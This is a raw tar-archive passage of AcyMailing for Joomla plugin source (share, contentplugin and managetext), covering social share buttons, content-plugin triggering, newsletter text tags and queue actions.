bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acymailing/share/share.xml                                                                          0000705                 00000007310 15242051520 0011602 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="acymailing">
	<name>AcyMailing : share on social networks</name>
	<creationDate>August 2010</creationDate>
	<version>1.0.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to add a share icon for social networks</description>
	<files>
		<filename plugin="share">share.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-share"/>
		<param name="template" type="radio" default="component" label="Display the online version" description="Select if you want to display the online version (when the user will share your link on the social network) without any Joomla module (no template) or inside your default Joomla Template">
			<option value="standard">Standard template</option>
			<option value="component">No template</option>
		</param>

		<param name="picturefb" type="text" label="Facebook picture - DEPRECATED" default="media/com_acymailing/images/facebookshare.png" />
		<param name="picturetwitter" type="text" label="Twitter picture - DEPRECATED" default="media/com_acymailing/images/twittershare.png" />
		<param name="picturelinkedin" type="text" label="LinkedIn picture - DEPRECATED" default="media/com_acymailing/images/linkedin.png" />
		<param name="picturegoogleplus" type="text" label="Google+ picture - DEPRECATED" default="media/com_acymailing/images/google_plusshare.png" />
		<param name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
			<option value="all">Always display this tag system</option>
			<option value="none">Don't display this tag system on the front-end</option>
		</param>

	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-share"/>
				<field name="template" type="radio" default="component" label="Display the online version" description="Select if you want to display the online version (when the user will share your link on the social network) without any Joomla module (no template) or inside your default Joomla Template">
					<option value="standard">Standard template</option>
					<option value="component">No template</option>
				</field>

				<field name="picturefb" type="text" label="Facebook picture - DEPRECATED" default="media/com_acymailing/images/facebookshare.png" />
				<field name="picturetwitter" type="text" label="Twitter picture - DEPRECATED" default="media/com_acymailing/images/twittershare.png" />
				<field name="picturelinkedin" type="text" label="LinkedIn picture - DEPRECATED" default="media/com_acymailing/images/linkedin.png" />
				<field name="picturegoogleplus" type="text" label="Google+ picture - DEPRECATED" default="media/com_acymailing/images/google_plusshare.png" />
				<field name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
					<option value="all">Always display this tag system</option>
					<option value="none">Don't display this tag system on the front-end</option>
				</field>

			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                        acymailing/share/share.php                                                                          0000705                 00000021215 15242051520 0011571 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingShare extends JPlugin{
	var $pictresults = array();

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'share');
			$this->params = new acyParameter($plugin->params);
		}
	}

	function acymailing_getPluginType(){

		if($this->params->get('frontendaccess') == 'none' && !acymailing_isAdmin()) return;
		$onePlugin = new stdClass();
		$onePlugin->name = acymailing_translation_sprintf('SOCIAL_SHARE', '...');
		$onePlugin->function = 'acymailingtagshare_show';
		$onePlugin->help = 'plugin-share';

		return $onePlugin;
	}

	function _getPictures($folder){
		$allFolders = acymailing_getFolders($folder);
		foreach($allFolders as $oneFolder){
			$this->_getPictures($folder.DS.$oneFolder);
		}
		$allFiles = acymailing_getFiles($folder, $this->regex);
		foreach($allFiles as $oneFile){
			$this->pictresults[substr($oneFile, 0, 4)][$oneFile.filesize($folder.DS.$oneFile)] = $folder.DS.$oneFile;
		}
	}

	function acymailingtagshare_show(){
		$uploadFolders = acymailing_getFilesFolder('upload', true);
		$uploadFolder = acymailing_getVar('string', 'currentFolder', $uploadFolders[0]);
		$uploadPath = acymailing_cleanPath(ACYMAILING_ROOT.trim(str_replace('/', DS, trim($uploadFolder)), DS));
		$uploadedFile = acymailing_getVar('array', 'socialfile', array(), 'files');

		if(!empty($uploadedFile) && !empty($uploadedFile['name'])){
			$uploadedFile['name'] = acymailing_getVar('string', 'socialchoice').substr($uploadedFile['name'], strrpos($uploadedFile['name'], '.'));
			acymailing_importFile($uploadedFile, $uploadPath, true, 150);
		}


		$networks = array();
		$networks['facebook'] = 'Facebook';
		$networks['linkedin'] = 'LinkedIn';
		$networks['twitter'] = 'Twitter';
		$networks['google'] = 'Google+';
		$networks['print'] = acymailing_translation('ACY_PRINT');

		$k = 0;

		$this->regex = '('.implode('|', array_keys($networks)).').*(png|gif|jpeg|jpg)';
		$this->_getPictures(ACYMAILING_MEDIA);

		$socialList = array();
		$socialList[] = acymailing_selectOption('facebook', 'Facebook');
		$socialList[] = acymailing_selectOption('linkedIn', 'LinkedIn');
		$socialList[] = acymailing_selectOption('twitter', 'Twitter');
		$socialList[] = acymailing_selectOption('google', 'Google+');
		$socialChoice = acymailing_select($socialList, 'socialchoice', 'size="1" style="width:100px;"');
?>
		<br style="clear:both;">

		<div class="onelineblockoptions">
			<span class="acyblocktitle"><?php echo acymailing_translation('UPLOAD_NEW_IMAGE'); ?></span>

			<table>
				<tr>
					<td style="padding: 5px;"><?php echo $socialChoice; ?></td>
					<td style="padding: 5px;"><input type="file" name="socialfile"></td>
					<td style="padding: 5px;"><input class="acymailing_button_grey" type="submit" value="Upload"></td>
				</tr>
			</table>
		</div>
<?php
		foreach($networks as $name => $desc){
			$shortName = substr($name, 0, 4);
			if(empty($this->pictresults[$shortName])) continue;

			if($desc == acymailing_translation('ACY_PRINT')){
				$legendTxt = $desc;
			}else{
				$legendTxt = acymailing_translation_sprintf('SOCIAL_SHARE', $desc);
			}

			echo '<div class="onelineblockoptions">
					<span class="acyblocktitle">'.$legendTxt.'</span>';
			foreach($this->pictresults[$shortName] as $onePict){
				$imgPath = preg_replace('#^'.preg_quote(ACYMAILING_ROOT, '#').'#i', ACYMAILING_LIVE, $onePict);
				$imgPath = str_replace(DS, '/', $imgPath);

				if($desc == acymailing_translation('ACY_PRINT')){
					$insertedtag = '<a target="_blank" href="{print:newsletter}" title="'.acymailing_translation('ACY_PRINT').'" ><img src="'.$imgPath.'" alt="'.$desc.'" /></a>';
				}else{
					$insertedtag = '<a target="_blank" href="{sharelink:'.$name.'}" title="'.acymailing_translation_sprintf('SOCIAL_SHARE', $desc).'" ><img src="'.$imgPath.'" alt="'.$desc.'" /></a>';
				}

				echo '<img style="max-width:200px;cursor:pointer;padding:5px;" onclick="setTag(\''.htmlentities($insertedtag).'\');insertTag();" src="'.$imgPath.'" />';
			}
			echo '</div>';
			$k = 1 - $k;
		}
	}

	function acymailing_replacetags(&$email, $send = true){
		$this->_print($email, $send);
		$this->_shareButtons($email, $send);
	}

	function _shareButtons(&$email, $send = true){
		$match = '#(?:{|%7B)(share|sharelink):(.*)(?:}|%7D)#Ui';
		$variables = array('body', 'altbody');
		$found = false;
		$results = array();
		foreach($variables as $var){
			if(empty($email->$var)) continue;
			$found = preg_match_all($match, $email->$var, $results[$var]) || $found;
			if(empty($results[$var][0])) unset($results[$var]);
		}

		if(!$found) return;

		$archiveLink = acymailing_frontendLink('index.php?option=com_acymailing&ctrl=archive&task=view&mailid='.$email->mailid, false, $this->params->get('template', 'component') == 'component' ? true : false);
		if(empty($email->published)){
			$archiveLink .= (strpos($archiveLink, '?') ? '&' : '?').'time='.time();
		}

		$tags = array();
		foreach($results as $var => $allresults){
			foreach($allresults[0] as $numres => $tagname){
				if(isset($tags[$tagname])) continue;
				$arguments = explode('|', $allresults[2][$numres]);
				$tag = new stdClass();
				$tag->network = $arguments[0];
				for($i = 1, $a = count($arguments); $i < $a; $i++){
					$args = explode(':', $arguments[$i]);
					if(isset($args[1])){
						$tag->{$args[0]} = $args[1];
					}else{
						$tag->{$args[0]} = true;
					}
				}

				$link = '';
				if($tag->network == 'facebook'){
					$link = 'http://www.facebook.com/sharer.php?u='.urlencode($archiveLink).'&t='.urlencode($email->subject);
					$tags[$tagname] = '<a target="_blank" href="'.$link.'" title="'.acymailing_translation_sprintf('SOCIAL_SHARE', 'Facebook').'"><img alt="Facebook" src="'.ACYMAILING_LIVE.$this->params->get('picturefb', 'media/com_acymailing/images/facebookshare.png').'" /></a>';
				}elseif($tag->network == 'twitter'){
					$text = acymailing_translation_sprintf('SHARE_TEXT', $archiveLink);
					$link = 'http://twitter.com/home?status='.urlencode($text);
					$tags[$tagname] = '<a target="_blank" href="'.$link.'" title="'.acymailing_translation_sprintf('SOCIAL_SHARE', 'Twitter').'"><img alt="Twitter" src="'.ACYMAILING_LIVE.$this->params->get('picturetwitter', 'media/com_acymailing/images/twittershare.png').'" /></a>';
				}elseif($tag->network == 'linkedin'){
					$link = 'http://www.linkedin.com/shareArticle?mini=true&url='.urlencode($archiveLink).'&title='.urlencode($email->subject);
					$tags[$tagname] = '<a target="_blank" href="'.$link.'" title="'.acymailing_translation_sprintf('SOCIAL_SHARE', 'LinkedIn').'"><img alt="LinkedIn" src="'.ACYMAILING_LIVE.$this->params->get('picturelinkedin', 'media/com_acymailing/images/linkedin.png').'" /></a>';
				}elseif($tag->network == 'google'){
					$link = 'https://plus.google.com/share?url='.urlencode($archiveLink);
					$tags[$tagname] = '<a target="_blank" href="'.$link.'" title="'.acymailing_translation_sprintf('SOCIAL_SHARE', 'Google+').'"><img alt="Google+" src="'.ACYMAILING_LIVE.$this->params->get('picturegoogleplus', 'media/com_acymailing/images/google_plusshare.png').'" /></a>';
				}

				if($allresults[1][$numres] == 'sharelink'){
					$tags[$tagname] = $link;
				}

				if(file_exists(ACYMAILING_MEDIA.'plugins'.DS.'share.php')){
					ob_start();
					require(ACYMAILING_MEDIA.'plugins'.DS.'share.php');
					$tags[$tagname] = ob_get_clean();
				}
			}
		}

		$email->body = str_replace(array_keys($tags), $tags, $email->body);
		$email->altbody = str_replace(array_keys($tags), '', $email->altbody);
	}

	private function _print(&$email, $send = true){
		$variables = array('subject', 'body', 'altbody');
		$acypluginsHelper = acymailing_get('helper.acyplugins');
		$tags = $acypluginsHelper->extractTags($email, 'print');

		$archiveLink = acymailing_frontendLink('index.php?option=com_acymailing&ctrl=archive&task=view&mailid='.$email->mailid, true, $this->params->get('template', 'component') == 'component' ? true : false);
		$addkey = (!empty($email->key)) ? '&key='.$email->key : '';
		$adduserkey = '&subid={subtag:subid}-{subtag:key}';
		$link = $archiveLink.'&print=1'.$addkey.$adduserkey;

		foreach($variables as $var){
			if(empty($email->$var)) continue;
			$email->$var = str_replace(array_keys($tags), $link, $email->$var);
		}
	}
}//endclass
                                                                                                                                                                                                                                                                                                                                                                                   acymailing/share/index.html                                                                         0000705                 00000000054 15242051520 0011751 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acymailing/contentplugin/contentplugin.xml                                                          0000705                 00000002577 15242051520 0015172 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="acymailing">
	<name>AcyMailing : trigger Joomla Content plugins</name>
	<creationDate>November 2009</creationDate>
	<version>3.7.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to trigger the content plugin system on AcyMailing. The Joomla Content plugin system has not been developed to be triggered from the backend and so you may have some non compatible plugins, that's why this plugin is not enabled by default</description>
	<files>
		<filename plugin="contentplugin">contentplugin.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-contentplugin"/>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-contentplugin"/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                 acymailing/contentplugin/contentplugin.php                                                          0000705                 00000006337 15242051520 0015157 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingContentplugin extends JPlugin
{

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);

		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'contentplugin');
			$this->params = new acyParameter( $plugin->params );
		}

		$this->paramsContent = JComponentHelper::getParams('com_content');
		acymailing_importPlugin('content');
		$this->dispatcherContent = JDispatcher::getInstance();

		$excludedHandlers = array('plgContentEmailCloak','pluginImageShow');
		$excludedNames = array('system' => array('SEOGenerator','SEOSimple'), 'content' => array('webeecomment','highslide','smartresizer','phocagallery'));
		$excludedType = array_keys($excludedNames);

		if(!ACYMAILING_J16){
			foreach ($this->dispatcherContent->_observers as $id => $observer){
				if (is_array($observer) AND in_array($observer['handler'],$excludedHandlers)){
					$this->dispatcherContent->_observers[$id]['event'] = '';
				}elseif(is_object($observer)){
					if(in_array($observer->_type,$excludedType) AND in_array($observer->_name,$excludedNames[$observer->_type])){
						$this->dispatcherContent->_observers[$id] = null;
					}
				}
			}
		}

		if(!class_exists('JSite')) include_once(ACYMAILING_ROOT.'includes'.DS.'application.php');

	}

	function acymailing_replacetags(&$email,$send = true){

		$art = new stdClass();
		$art->title = $email->subject;
		$art->introtext = $email->body;
		$art->fulltext = $email->body;
		$art->attribs = '';
		$art->state=1;
		$art->created_by=@$email->userid;
		$art->images = '';
		$art->id = 0;
		$art->section = 0;
		$art->catid = 0;

		$context = 'com_acymailing';


		try{
			if(!empty($email->body)){
				$art->text = $email->body;
				if(!ACYMAILING_J16){
					$resultsPlugin = acymailing_trigger('onPrepareContent', array(&$art, &$this->paramsContent, 0));
				}else{
					if($send) $art->text .= '{emailcloak=off}';
					$resultsPlugin = acymailing_trigger('onContentPrepare', array($context, &$art, &$this->paramsContent, 0));
					if($send) $art->text = str_replace(array('{emailcloak=off}','{* emailcloak=off}'),'',$art->text);
				}
				$email->body = $art->text;
			}
			if(!empty($email->altbody)){
				$art->text = $email->altbody;
				if(!ACYMAILING_J16){
					$resultsPlugin = acymailing_trigger('onPrepareContent', array(&$art, &$this->paramsContent, 0));
				}else{
					if($send) $art->text .= '{emailcloak=off}';
					$resultsPlugin = $this->dispatcherContent->trigger('onContentPrepare', array ($context,&$art, &$this->paramsContent, 0 ));
					if($send) $art->text = str_replace(array('{emailcloak=off}','{* emailcloak=off}'),'',$art->text);
				}
				$email->altbody = $art->text;
			}
		}catch(Exception $e){
			acymailing_display(array('An error occured with the AcyMailing contentplugin plugin, you may want to disable it from the AcyMailing configuration page',$e->getMessage()),'error');
		}

	}
}//endclass
                                                                                                                                                                                                                                                                                                 acymailing/contentplugin/index.html                                                                 0000705                 00000000054 15242051520 0013540 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acymailing/managetext/index.html                                                                    0000705                 00000000054 15242051520 0013004 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acymailing/managetext/managetext.php                                                                0000705                 00000033651 15242051520 0013666 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
defined('_JEXEC') or die('Restricted access');

class plgAcymailingManagetext extends JPlugin{
	var $foundtags = array();

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'managetext');
			$this->params = new acyParameter($plugin->params);
		}
	}

	function acymailing_replacetags(&$email, $send = true){
		$this->_replaceConstant($email);
		$this->_replaceRandom($email);
	}

	function acymailing_replaceusertags(&$email, &$user, $send = true){
		$this->_removetext($email);
		$this->_addfooter($email);
		$this->_ifstatement($email, $user);
	}

	private function _replaceConstant(&$email){
		$acypluginsHelper = acymailing_get('helper.acyplugins');
		$tags = $acypluginsHelper->extractTags($email, '(?:const|trans|config)');
		if(empty($tags)) return;

		$jconfig = JFactory::getConfig();

		$tagsReplaced = array();
		foreach($tags as $i => $oneTag){
			$val = '';
			$arrayVal = array();
			foreach($oneTag as $valname => $oneValue){
				if($valname == 'id'){
					$val = trim(strip_tags($oneValue));
				}elseif($valname != 'default'){
					$arrayVal[] = '{'.$valname.'}';
				}
			}

			if(empty($val)) continue;
			$tagValues = explode(':', $i);
			$type = ltrim($tagValues[0], '{');
			if($type == 'const'){
				$tagsReplaced[$i] = defined($val) ? constant($val) : 'Constant not defined : '.$val;
			}elseif($type == 'config'){
				if($val == 'sitename'){
					$tagsReplaced[$i] = ACYMAILING_J30 ? $jconfig->get($val) : $jconfig->getValue('config.'.$val);
				}
			}else{
				static $done = false;
				if(!$done && strpos($val, 'COM_USERS') !== false){
					$done = true;

					acymailing_loadLanguageFile('com_users', JPATH_SITE);
					acymailing_loadLanguageFile('com_users', JPATH_ADMINISTRATOR);
				}
				if(!empty($arrayVal)){
					$tagsReplaced[$i] = nl2br(vsprintf(acymailing_translation($val), $arrayVal));
				}else{
					$tagsReplaced[$i] = acymailing_translation($val);
				}
			}
		}

		$acypluginsHelper->replaceTags($email, $tagsReplaced, true);
	}

	private function _replaceRandom(&$email){
		$pluginHelper = acymailing_get('helper.acyplugins');
		$randTag = $pluginHelper->extractTags($email, "rand");
		if(empty($randTag)) return;
		foreach($randTag as $oneRandTag){
			$results[$oneRandTag->id] = explode(';', $oneRandTag->id);
			$randNumber = rand(0, count($results[$oneRandTag->id]) - 1);
			$results[$oneRandTag->id][count($results[$oneRandTag->id])] = $results[$oneRandTag->id][$randNumber];
		}

		$tags = array();
		foreach(array_keys($results) as $oneResult){
			$tags['{rand:'.$oneResult.'}'] = end($results[$oneResult]);
		}

		if(empty($tags)) return;
		$pluginHelper->replaceTags($email, $tags, true);
	}


	private function _ifstatement(&$email, $user, $loop = 1){
		if(isset($this->noIfStatementTags[$email->mailid])) return;

		$isAdmin = JFactory::getApplication()->isAdmin();

		if($loop > 3){
			if($isAdmin) acymailing_display('You cannot have more than 3 nested {if} tags.', 'warning');
			return;
		}

		$match = '#{if:(((?!{if).)*)}(((?!{if).)*){/if}#Uis';
		$variables = array('subject', 'body', 'altbody', 'From', 'FromName', 'ReplyTo');
		$found = false;
		foreach($variables as $var){
			if(empty($email->$var)) continue;
			if(is_array($email->$var)){
				foreach($email->$var as $i => &$arrayField){
					if(empty($arrayField) || !is_array($arrayField)) continue;
					foreach($arrayField as $key => &$oneval){
						$found = preg_match_all($match, $oneval, $results[$var.$i.'-'.$key]) || $found;
						if(empty($results[$var.$i.'-'.$key][0])) unset($results[$var.$i.'-'.$key]);
					}
				}
			}else{
				$found = preg_match_all($match, $email->$var, $results[$var]) || $found;
				if(empty($results[$var][0])) unset($results[$var]);
			}
		}

		if(!$found){
			if($loop == 1) $this->noIfStatementTags[$email->mailid] = true;
			return;
		}

		static $a = false;

		$tags = array();
		foreach($results as $var => $allresults){
			foreach($allresults[0] as $i => $oneTag){
				if(isset($tags[$oneTag])) continue;
				$allresults[1][$i] = html_entity_decode($allresults[1][$i]);
				if(!preg_match('#^(.+)(!=|<|>|&gt;|&lt;|!~)([^=!<>~]+)$#is', $allresults[1][$i], $operators) && !preg_match('#^(.+)(=|~)([^=!<>~]+)$#is', $allresults[1][$i], $operators)){
					if($isAdmin) acymailing_display('Operation not found : '.$allresults[1][$i], 'error');
					$tags[$oneTag] = $allresults[3][$i];
					continue;
				};
				$field = trim($operators[1]);
				$prop = '';

				$operatorsParts = explode('.', $operators[1]);
				$operatorComp = 'acymailing';
				if(count($operatorsParts) > 1 && in_array($operatorsParts[0], array('acymailing', 'joomla', 'var'))){
					$operatorComp = $operatorsParts[0];
					unset($operatorsParts[0]);
					$field = implode('.', $operatorsParts);
				}

				if($operatorComp == 'joomla'){
					if(!empty($user->userid)){
						if($field == 'gid' && ACYMAILING_J16){
							$db = JFactory::getDBO();
							$db->setQuery('SELECT group_id FROM #__user_usergroup_map WHERE user_id = '.intval($user->userid));
							$prop = implode(';', acymailing_loadResultArray($db));
						}else{
							$db = JFactory::getDBO();
							$db->setQuery('SELECT * FROM #__users WHERE id = '.intval($user->userid));
							$juser = $db->loadObject();
							if(isset($juser->{$field})){
								$prop = strtolower($juser->{$field});
							}else{
								if($isAdmin && !$a) acymailing_display('User variable not set : '.$field.' in '.$allresults[1][$i], 'error');
								$a = true;
							}
						}
					}
				}elseif($operatorComp == 'var'){
					$prop = strtolower($field);
				}else{
					if(!isset($user->{$field})){
						if($isAdmin && !$a) acymailing_display('User variable not set : '.$field.' in '.$allresults[1][$i], 'error');
						$a = true;
					}else{
						$prop = strtolower($user->{$field});
					}
				}

				$tags[$oneTag] = '';
				$val = trim(strtolower($operators[3]));
				if($operators[2] == '=' && ($prop == $val || in_array($prop, explode(';', $val)) || in_array($val, explode(';', $prop)))){
					$tags[$oneTag] = $allresults[3][$i];
				}elseif($operators[2] == '!=' && $prop != $val){
					$tags[$oneTag] = $allresults[3][$i];
				}elseif(($operators[2] == '>' || $operators[2] == '&gt;') && $prop > $val){
					$tags[$oneTag] = $allresults[3][$i];
				}elseif(($operators[2] == '<' || $operators[2] == '&lt;') && $prop < $val){
					$tags[$oneTag] = $allresults[3][$i];
				}elseif($operators[2] == '~' && strpos($prop, $val) !== false){
					$tags[$oneTag] = $allresults[3][$i];
				}elseif($operators[2] == '!~' && strpos($prop, $val) === false){
					$tags[$oneTag] = $allresults[3][$i];
				}
			}
		}

		foreach($variables as &$var){
			if(empty($email->$var)) continue;
			if(is_array($email->$var)){
				foreach($email->$var as &$arrayField){
					if(empty($arrayField) || !is_array($arrayField)) continue;
					foreach($arrayField as &$oneval){
						$oneval = str_replace(array_keys($tags), $tags, $oneval);
					}
				}
			}else{
				$email->$var = str_replace(array_keys($tags), $tags, $email->$var);
			}
		}
		$this->_ifstatement($email, $user, $loop + 1);
	}

	private function _removetext(&$email){
		$removetext = $this->params->get('removetext', '{reg},{/reg},{pub},{/pub}');
		if(!empty($removetext)){
			$removeArray = explode(',', trim($removetext, ' ,'));
			if(!empty($email->body)) $email->body = str_replace($removeArray, '', $email->body);
			if(!empty($email->altbody)) $email->altbody = str_replace($removeArray, '', $email->altbody);
		}


		$removetags = $this->params->get('removetags', 'youtube');
		if(!empty($removetags)){
			$regex = array();
			$removeArray = explode(',', trim($removetags, ' ,'));
			foreach($removeArray as $oneTag){
				if(empty($oneTag)) continue;
				$regex[] = '#(?:{|%7B)'.preg_quote($oneTag, '#').'(?:}|%7D).*(?:{|%7B)/'.preg_quote($oneTag, '#').'(?:}|%7D)#Uis';
				$regex[] = '#(?:{|%7B)'.preg_quote($oneTag, '#').'[^}]*(?:}|%7D)#Uis';
			}

			if(!empty($email->body)) $email->body = preg_replace($regex, '', $email->body);
			if(!empty($email->altbody)) $email->altbody = preg_replace($regex, '', $email->altbody);
		}
	}

	private function _addfooter(&$email){
		$footer = $this->params->get('footer');
		if(!empty($footer)){
			if(strpos($email->body, '</body>')){
				$email->body = str_replace('</body>', '<br />'.$footer.'</body>', $email->body);
			}else{
				$email->body .= '<br />'.$footer;
			}

			if(!empty($email->altbody)){
				$email->altbody .= "\n".$footer;
			}
		}
	}

	function onAcyDisplayFilters(&$type, $context = "massactions"){
		if($this->params->get('displayfilter_'.$context, true) == false || ($this->params->get('frontendaccess') == 'none' && !acymailing_isAdmin())) return;

		$type['limitrand'] = acymailing_translation_sprintf('ACY_RAND_LIMIT', 'X');

		$return = '<div id="filter__num__limitrand">'.acymailing_translation_sprintf('ACY_RAND_LIMIT', '<input type="text" style="width:60px" value="30" name="filter[__num__][limitrand][nbusers]" />').'</div>';

		return $return;
	}

	function onAcyDisplayFilter_limitrand($filter){
		return acymailing_translation_sprintf('ACY_RAND_LIMIT', $filter['nbusers']);
	}


	function onAcyProcessFilter_limitrand(&$query, $filter, $num){
		$query->limit = intval($filter['nbusers']);
		$query->orderBy = 'RAND()';
	}

	function onAcyDisplayActions(&$type){
		$type['addqueue'] = acymailing_translation('ADD_QUEUE');
		$type['removequeue'] = acymailing_translation('REMOVE_QUEUE');

		$db = JFactory::getDBO();
		$db->setQuery("SELECT `mailid`,`subject`, `type` FROM `#__acymailing_mail` WHERE `type` NOT IN ('notification','autonews','joomlanotification') OR `alias` = 'confirmation' ORDER BY `type`,`senddate` DESC LIMIT 5000");
		$allEmails = $db->loadObjectList();

		$emailsToDisplay = array();
		$typeNews = '';
		foreach($allEmails as $oneMail){
			$oneMail->subject = Emoji::Decode($oneMail->subject);
			if($oneMail->type != $typeNews){
				if(!empty($typeNews)) $emailsToDisplay[] = acymailing_selectOption('</OPTGROUP>');
				$typeNews = $oneMail->type;
				if($oneMail->type == 'news'){
					$label = acymailing_translation('NEWSLETTERS');
				}elseif($oneMail->type == 'followup'){
					$label = acymailing_translation('FOLLOWUP');
				}elseif($oneMail->type == 'welcome'){
					$label = acymailing_translation('MSG_WELCOME');
				}elseif($oneMail->type == 'unsub'){
					$label = acymailing_translation('MSG_UNSUB');
				}else{
					$label = $oneMail->type;
				}
				$emailsToDisplay[] = acymailing_selectOption('<OPTGROUP>', $label);
			}
			$emailsToDisplay[] = acymailing_selectOption($oneMail->mailid, $oneMail->subject.' ['.$oneMail->mailid.']');
		}
		$emailsToDisplay[] = acymailing_selectOption('</OPTGROUP>');

		$addqueue = '<div id="action__num__addqueue">'.acymailing_select($emailsToDisplay, "action[__num__][addqueue][mailid]", 'class="inputbox" size="1"').'<br /><label for="addqueuesenddate__num__">'.acymailing_translation('SEND_DATE').' </label> <input type="text" value="{time}" id="addqueuesenddate__num__" name="action[__num__][addqueue][senddate]" onclick="displayDatePicker(this,event)"/></div>';

		$allMessages = acymailing_selectOption(0, acymailing_translation('ACY_ALL'));
		array_unshift($emailsToDisplay, $allMessages);
		$removequeue = '<div id="action__num__removequeue">'.acymailing_select($emailsToDisplay, "action[__num__][removequeue][mailid]", 'class="inputbox" size="1"').'</div>';
		return $addqueue.$removequeue;
	}

	function onAcyProcessAction_addqueue($cquery, $action, $num){
		$action['mailid'] = intval($action['mailid']);
		if(empty($action['mailid'])) return 'Mailid not valid';
		if(empty($action['senddate'])) return 'Send date not valid';

		$action['senddate'] = acymailing_replaceDate($action['senddate']);
		if(!is_numeric($action['senddate'])) $action['senddate'] = acymailing_getTime($action['senddate']);
		if(empty($action['senddate'])) return 'send date not valid';

		$query = 'INSERT IGNORE INTO `#__acymailing_queue` (`mailid`,`subid`,`senddate`,`priority`) '.$cquery->getQuery(array($action['mailid'], 'sub.`subid`', $action['senddate'], '2'));
		$db = JFactory::getDBO();
		$db->setQuery($query);
		$db->query();
		return acymailing_translation_sprintf('ADDED_QUEUE', $db->getAffectedRows());
	}

	function onAcyProcessAction_removequeue($cquery, $action, $num){
		$action['mailid'] = intval($action['mailid']);
		if(!empty($action['mailid'])) $cquery->where['queueremove'] = 'queueremove.mailid = '.$action['mailid'];

		$query = 'DELETE queueremove.* FROM `#__acymailing_queue` as queueremove ';
		$query .= 'JOIN `#__acymailing_subscriber` as sub ON queueremove.subid = sub.subid ';
		if(!empty($cquery->join)) $query .= ' JOIN '.implode(' JOIN ', $cquery->join);
		if(!empty($cquery->leftjoin)) $query .= ' LEFT JOIN '.implode(' LEFT JOIN ', $cquery->leftjoin);
		if(!empty($cquery->where)) $query .= ' WHERE ('.implode(') AND (', $cquery->where).')';

		$db = JFactory::getDBO();
		$db->setQuery($query);
		$db->query();

		unset($cquery->where['queueremove']);

		return acymailing_translation_sprintf('SUCC_DELETE_ELEMENTS', $db->getAffectedRows());
	}

	function onAcyProcessAction_displayUsers($cquery, $action, $num){

		$res = array();
		$res['countTotal'] = $cquery->count();

		if(empty($cquery->limit) || $cquery->limit > 50) $cquery->limit = 20;

		$query = $cquery->getQuery(array('sub.`subid`', 'sub.email', 'sub.name'));
		$db = JFactory::getDBO();
		$db->setQuery($query);
		$users = $db->loadObjectList();

		$res['users'] = $users;
		return $res;
	}

}//endclass
                                                                                       acymailing/managetext/managetext.xml                                                                0000705                 00000006517 15242051520 0013700 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="acymailing">
	<name>AcyMailing Manage text</name>
	<creationDate>October 2010</creationDate>
	<version>1.0.0</version>
	<author>Acyba</author>
